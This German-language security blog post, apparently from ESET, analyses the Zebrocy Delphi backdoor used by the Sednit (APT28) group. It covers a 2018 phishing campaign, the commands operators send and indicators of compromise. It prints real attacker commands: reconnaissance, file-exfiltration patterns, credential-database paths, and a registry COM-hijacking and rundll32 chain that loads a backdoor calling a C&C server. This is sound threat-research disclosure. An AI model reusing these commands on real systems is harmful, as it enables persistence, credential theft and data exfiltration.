Was passiert, wenn Computer durch eine Backdoor kompromittiert und von Cyberkriminellen gesteuert werden? Diese Frage ist nicht ganz leicht zu beantworten – selbst mit Hilfe von Reverse Engineering lassen sich nicht alle Steuerbefehle rekonstruieren. 

Die Sednit-Gruppe ist auch unter den Synonymen APT28, Fancy Bear, Sofacy und Strontium bekannt. Die Cyberkriminelle agieren seit mindesten 2004 und gelangten in den vergangenen Jahren auch immer wieder in die Schlagzeilen. 

Vor nicht gar zu langer Zeit offenbarten wir die Existenz des UEFI Rootkit LoJax, welches wir der Sednit-Gruppe zuordnen. Bei keiner anderen APT-Gruppierung zuvor entdeckten wir ein UEFI-Rootkit. Das verdeutlicht, dass Sednit einen Zugang zu sehr fortgeschrittenen Tools besitzt, welche sie in ihren Cyber-Spionage-Tätigkeiten unterstützen. 

Vor etwa drei Jahren begann Sednit neue Malware-Komponenten an Opfer aus Ländern des Mittleren Ostens und Zentralasiens auszuprobieren. Seitdem stieg die Anzahl an diversen Malware-Komponenten dramatisch. ESET-Forscher und Kollegen anderer Antivirenprogramm-Hersteller dokumentierten das. In diesem Beitrag fokussieren wir uns auf das, was passiert, wenn die Cyberkriminellen mit Hilfe der Zebrocy Delphi Backdoor die Steuerung des Computers übernehmen. 

Sednits Phishing-Kampagne 

Ende August des Jahres 2018 initiierte die Sednit-Gruppe eine Spearphishing-E-Mail-Kampagne. Die Phishing-Mails enthielten gekürzte URLs, welche die First Stage der Zebrocy Backdoor auslieferten. In der Vergangenheit griffen die Cyberkriminellen auf ähnliche Techniken zurück, um Login-Informationen abzugreifen. Es ist allerdings ungewöhnlich, dass die Cyber-Gang auf diese Weise nun auch eine ihrer Malware-Komponenten direkt verbreitet. Davor sorgten Social Engineering und Exploits dafür, dass die First Stage Malware verteilt und ausgeführt wurde. 

Die Abbildung 1 zeigt eine Statistik von Bit.ly über die Klickzahlen auf eine gekürzte URL aus der 2018er-Kampagne. 

Abbildung 1: Bitly-Statistik über Klickzahlen einer URL, die zur Malware-Komponente im Jahr 2018 führte

Abbildung 1: Bit.ly-Statistik über Klickzahlen einer URL, die zur Malware-Komponente im Jahr 2018 führte

In einer Woche registrierte der URL-Shortener-Dienst etwa 20 Klicks auf die URL, die zu einem schädlichen ZIP-Archiv führte. Das bedeutet nicht unbedingt, dass es 20 potenzielle Zebrocy-Opfer gibt, da manche beispielsweise zweimal auf die URL klickten, weil sie dahinter etwas anderes vermuteten. 

Zwar deuten ESET-Telemetrie-Daten an, dass die URL durch Spearphishing-E-Mails verteilt wurde, allerdings haben wir kein Sample einer solchen E-Mail zu Gesicht bekommen. Die gekürzte URL führt die Opfer zu einer IP-Adresse, unter der das schädliche ZIP-Archiv gelegen ist. 

Ohne die betrügerischen E-Mails, können wir leider nicht wissen, ob sich darin irgendwelche Anweisungen für die Opfer oder weiterführende Social Engineering Taktiken verbargen – oder ob sich die Sednit-Gruppierung bloß auf die Neugier der anvisierten Opfer verließ. 

Das ZIP-Archiv enthält zwei Dateien – eine ausführbare .exe-Datei und einen Köder im PDF-Format. 

Abbildung 2: Extrahierte Dateien (Google Translate übersetzt aus dem Ukrainischen in "CATALOG - (2018) .exe" und "Order 97.pdf")

Abbildung 2: Extrahierte Dateien (Google Translate übersetzt aus dem Ukrainischen in "CATALOG - (2018) .exe" und "Order 97.pdf")

Der Dateiname der .exe-Datei müsste eigentlich „ДОВIДНИК“ anstelle von „ДОВIДНIК“ lauten. Nach dem Öffnen der Binary erscheint ein Passwort-Dialogfenster. Ein richtiges Kennwort kann hier nicht eingegeben werden. Das ist allerdings auch zweitrangig, denn es geht nur darum, dass sich nach dem Eingabeversuch das Köder-PDF-Dokument öffnet. Das Dokument scheint leer zu sein, aber der in Delphi geschriebene Downloader beginnt im Hintergrund seine Aktivität aufzunehmen. 

Das Zebrocy-Backdoor als Mittel zum Zweck 

Der Stage-1-Downloader lädt einen neuen, in C++ geschriebenen Downloader herunter und führt diesen aus. Von anderen Zebrocy-Downloadern unterscheidet er sich kaum. Der Downloader ist so unkompliziert aufgebaut wie jene anderen. Der Stage-1-Downloader erstellt eine ID und lädt eine weitere interessante Backdoor herunter, welche diesmal in Delphi geschrieben ist. 

Wie wir im letzten Beitrag über Zebrocy bereits schilderten, liegt die Konfiguration der Backdoor in der Resource Section, welche in vier unterschiedliche, hex-codierte, verschlüsselte BLOBunterteilt ist. Diese BLOBs beinhalten verschiedene Teile der Backdoor-Konfiguration.

Abbildung 3: Überblick über die Resource Section

Abbildung 3: Überblick über die Resource Section

Sendet die Backdoor grundlegende Informationen über das jüngst kompromittierte System, übernimmt ein Malware-Operator die Kontrolle über die Backdoor und füttert diese mit ausgewählten Befehlen. Die Zeit zwischen dem Öffnen des Downloaders durch den User und der Computer-Übernahme durch den Malware-Operator beträgt nur wenige Minuten. 

Das Delphi-Backdoor im Einsatz 

In diesem Abschnitt beschreiben wir detaillierter, welche manuellen Befehle an das Delphi-Backdoor gesendet werden. 

Die zur Verfügung stehenden Backdoor-Befehle befinden sich im „commands“-BLOB – siehe Abbildung 3. Die Anzahl an unterstützen Kommandos hat sich im Verlauf der Zeit erhöht. In der neusten Backdoor-Version sind es nun schon mehr als 30 Befehle. Wir identifizierten kein Muster, nach dem die Befehle aufgerufen werden. Deshalb gehen wir davon aus, dass die Cyberkriminellen die Kommandos manuell aufrufen. 

Der erste Befehlssatz sammelt Informationen über den Computer und die Umgebung des Systems: 

Commands Arguments
SCREENSHOT None
SYS_INFO None
GET_NETWORK None
SCAN_ALL None

Normalerweise werden die obigen Befehle nach der ersten Aktivierung einer neuen Backdoor ausgeführt. Sie benötigen keine weiteren Argumente und sind recht selbsterklärend. Es gibt aber auch Kommandos, die weitere Argumente benötigen: 

Commands Arguments
REG_GET_KEYS_VALUES HKEY_CURRENT_USER
Software\Microsoft\Windows\CurrentVersion
DOWNLOAD_DAY(30) c:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg;*.jpeg;
*.bmp;*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;*.lhz;

d:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg;*.jpeg;
*.bmp;*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;*.lhz;

DOWNLOAD_DAY(1)
c:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg*.jpeg
*.bmp*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;

d:\*.doc;*.docx;*.xls;*.xlsx;*.ppt;*.pptx;*.rtf;*.tif;*.tiff;*.jpg*.jpeg
*.bmp*.rar;*.zip;*.pdf;*.KUM;*.kum;*.tlg;*.TLG;*.sbx;*.crf;*.hse;*.hsf;

CMD_EXECUTE echo %APPDATA%
ipconfig /all
netstat -aon
CMD_EXECUTE wmic process get Caption,ExecutablePath
reg query
"HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s

Alle diejengen, die bereits den letzten Zebrocy-Artikel gelesen haben, werden bemerkt haben, dass immer dieselben Informationen gesendet werden. Die Informationen werden innerhalb weniger Minuten nach der ersten Kompromittierung angefordert, und die Datenmenge, mit der der Malware-Operator umgehen muss, ist beträchtlich. 

Noch mehr Informationen sammeln die Zebrocy-Operatoren mit Hilfe von Dumpern auf den Computersystemen der Opfer. Die gefundenen Dumper besitzen eine gewisse Ähnlichkeit zu denjenigen, welche die Gruppe bereits vorher einsetzte. Im aktuellen Fall haben es die Dumper auf Yandex Browser, Chromium, 7Star Browser (ein Chromium-basierter Browser) und CentBrowser sowie Versionen von Microsoft Outlook von 1997 bis 2016 abgesehen: 

Command Arguments
UPLOAD_AND_EXECUTE_FILE C:\ProgramData\Office\MS\msoffice.exe
[…]
4D5A9000…

Die Dumper erstellen Protokolldateien, die das Vorhandensein oder Nichtvorhandensein prinzipiell interessanter Datenbanken angeben:

Command Arguments
DOWNLOAD_LIST C:\ProgramData\Office\MS\out.txt
C:\ProgramData\Office\MS\text.txt

Ein Dumper aus unseren Forschungen gibt folgende Ausgabe zurück, wenn keine Datenbank gefunden werden kann: 

%LOCALAPPDATA%\Yandex\YandexBrowser\User Data\Default\Login Data not found
%LOCALAPPDATA%\Chromium\User Data\Default\Login Data not found
%LOCALAPPDATA%\7Star\7Star\User Data\Default\Login Data not found
%LOCALAPPDATA%\CentBrowser\User Data\Default\Login Data not found

Sobald die Daten-Dumper ihre Arbeit erledigt haben, verschwinden sie schnell wieder vom System. Die Backdoor enthält eine Liste von Datenbanken, unten denen Login-Informationen zu folgenden Softwares zu finden sind: 

key3.db Firefox private keys (now named key4.db)
cert8.db Firefox certificate database
logins.json Firefox encrypted password database
account.cfn The Bat! (email client) account credentials
wand.dat Opera password database

Die Malware-Operatoren sorgen dafür, dass die Datenbanken abgerufen werden, wenn sie auf dem Computer des Opfers auftauchen. 

Command Arguments

DOWNLOAD_LIST
%APPDATA%\The Bat!\Account.CFN
%APPDATA%\The Bat!\[REDACTED]\Account.CFN

Ihnen gelingt das mit Hilfe des Befehls DOWNLOAD_LIST. Diesen Befehl können sie immer dann verwenden, wenn man interessante Dateien auf dem fremden Computer vermutet. 

Erweist sich das Sednit-Opfer als interessant genug, schieben die Malware-Entwickler eine andere spezialangefertigte Backdoor hinterher. Diese wird mit Hilfe des CMD_EXECUTE-Befehls ausgeführt. 

Command Arguments
CMD_EXECUTE
reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}" /ve /d "Reliability Maintenance Control Panel" /reg:64 /f&&reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}\InProcServer32" /ve /d "%APPDATA%\Microsoft\WinSupport\RMC\mtrcpl.dll" /reg:64 /f&&reg add "HKCU\Software\Classes\CLSID\{0CD069CF-AC9B-41F4-9571-3A95A62C36A1}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Both" /reg:64 /f
rundll32.exe "%APPDATA%\Microsoft\WinSupport\RMC\mtrcpl.dll",#1 687474703A2F2F[REDACTED]
dir /s /b /o:gn %APPDATA%\Microsoft\

An dieser Stelle offenbaren sich einige interessante Tatsachen. Zunächst benutzen die Cyberkriminellen COM Object Hijacking, um der Malware Persistenz zu verleihen, selbst wenn das Custom Backdoor nur ein paar Stunden auf dem Computer des Opfers installiert bleibt.
Des Weiteren gibt die hexadezimal codierte Zeichenfolge den C&C-Server der Custom Backdoor an, wohingegen der C&C-Server der Delphi Backdoor in der Konfiguration eingebettet ist. 

Beide Delphi Backdoors ähneln sich gewissermaßen, unterscheiden sich aber durch folgende Tweaks: 

Delphi backdoor Downloaded Delphi backdoor
Delphi compiler version 14.0-15.0 32.0
32/64-bit 32-bit 64-bit
Configuration location resource section no config (C&C is passed as an argument)
Number of commands 5 3
Encryption algorithm AES ECB custom
Lifetime on the computer a few days a few hours

Es ist nicht ganz klar, wozu genau die Custom Backdoor dient. Im Vergleich zur „üblichen“ Delphi Backdoor wird sie allerdings weniger oft enttarnt. Der vergleichsweise kurze Zeitraum, in dem sich die Custom Backdoor auf dem Computersystem der Opfer befindet, erschwert eine Entdeckung. 

Fazit

Die Beobachtung von Backdoor-Befehlen „in freier Wildbahn“ ist sehr interessant. Die Malware sammelt viele Daten über das Computersystem des Opfers. Um doppelte Informationen scheinen sich die Cyberkriminellen nicht zu kümmern. Insgesamt zeigt sich eine große Lücke zwischen der Entwicklungsstrategie und dem, wie die Zebrocy-Operatoren letztendlich agieren. 
Custom Backdoors werden sehr vorsichtig eingesetzt. Offensichtlich möchte man vermeiden, dass der Code der Hintertür in die Arme von Security Researchern fällt.

Indicators of Compromise (IoCs)

Distribution URL
http://45.124.132[.]127/DOVIDNIK - (2018).zip

C&C server
http://45.124.132[.]127/action-center/centerforserviceandaction/service-and-action.php

SHA-1 ESET detection names
48f8b152b86bed027b9152725505fbf4a24a39fd Win32/TrojanDownloader.Sednit.CMT
1e9f40ef81176190e1ed9a0659473b2226c53f57 Win32/HackTool.PSWDump.D
bfa26857575c49abb129aac87207f03f2b062e07 Win32/PSW.Agent.OGE

MITRE ATT&CK techniques

Tactic ID Name Description
Initial Access T1192 Spearphishing Link Spearphishing emails using a URL-shortener service to trick the victim into clicking on a link to a zip file containing malicious files.
Execution T1204 User Execution Tricks users into running an executable with an icon that looks like a Microsoft Word document.
T1085 Rundll32 rundll32.exe has been used to run a new, downloaded, malicious DLL.
T1047 Windows Management Instrumentation WMI commands to gather victim host details.
T1053 Scheduled Task Schedule task to execute malicious binaries.
Persistence T1060 Registry Run Keys / Startup Folder Registry key HKCU\Software\Microsoft\CurrentVersion\Run\ used for persistence.
T1122 Component Object Model Hijacking COM hijacking for persistence.
Defense Evasion T1107 File Deletion Deletes files (binaries and files created) after usage.
T1089 Disabling Security Tools Kills processes
Discovery T1012 Query Registry Registry keys enumeration
T1057 Process Discovery Lists running processes
T1082 System Information Discovery Uses systeminfo command to gather information about the victim.
T1083 File and Directory Discovery Uses echo ENV command to list the content of a directory.
Collection T1005 Data from Local System Scans files that match extensions listed in the malware.
T1039 Data from Network Shared Drive Enumerates remote and local drives and then exfiltrates files matching specific extensions.
T1025 Data from Removable Media Enumerates remote and local drives and then exfiltrates files matching specific extensions.
T1074 Data Staged Creates file containing path of all files to exfiltrate.
T1056 Input Capture Keylogger feature.
T1113 Screen Capture Screenshot feature.
Exfiltration T1020 Automated Exfiltration Automatically prepare a file with all file paths to retrieve and send it.
T1022 Data Encrypted Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1041 Exfiltration Over Command and Control Channel Data are exfiltrated to a C&C server.
Command And Control T1043 Commonly Used Port Downloaders and backdoors use ports 80 or 443 to communicate with the C&C server.
T1024 Custom Cryptographic Protocol Data sent are hex encoded, encrypted with AES or a custom algorithm.
T1132 Data Encoding Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1001 Data Obfuscation Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1008 Fallback Channels A fallback C&C server is embedded in the configuration.
T1079 Multilayer Encryption Data sent are hex-encoded, encrypted with a known algorithm or a custom one.
T1071 Standard Application Layer Protocol HTTP, HTTPS are used to communicate.
T1032 Standard Cryptographic Protocol Data sent are hex-encoded, encrypted with a known algorithm or a custom one.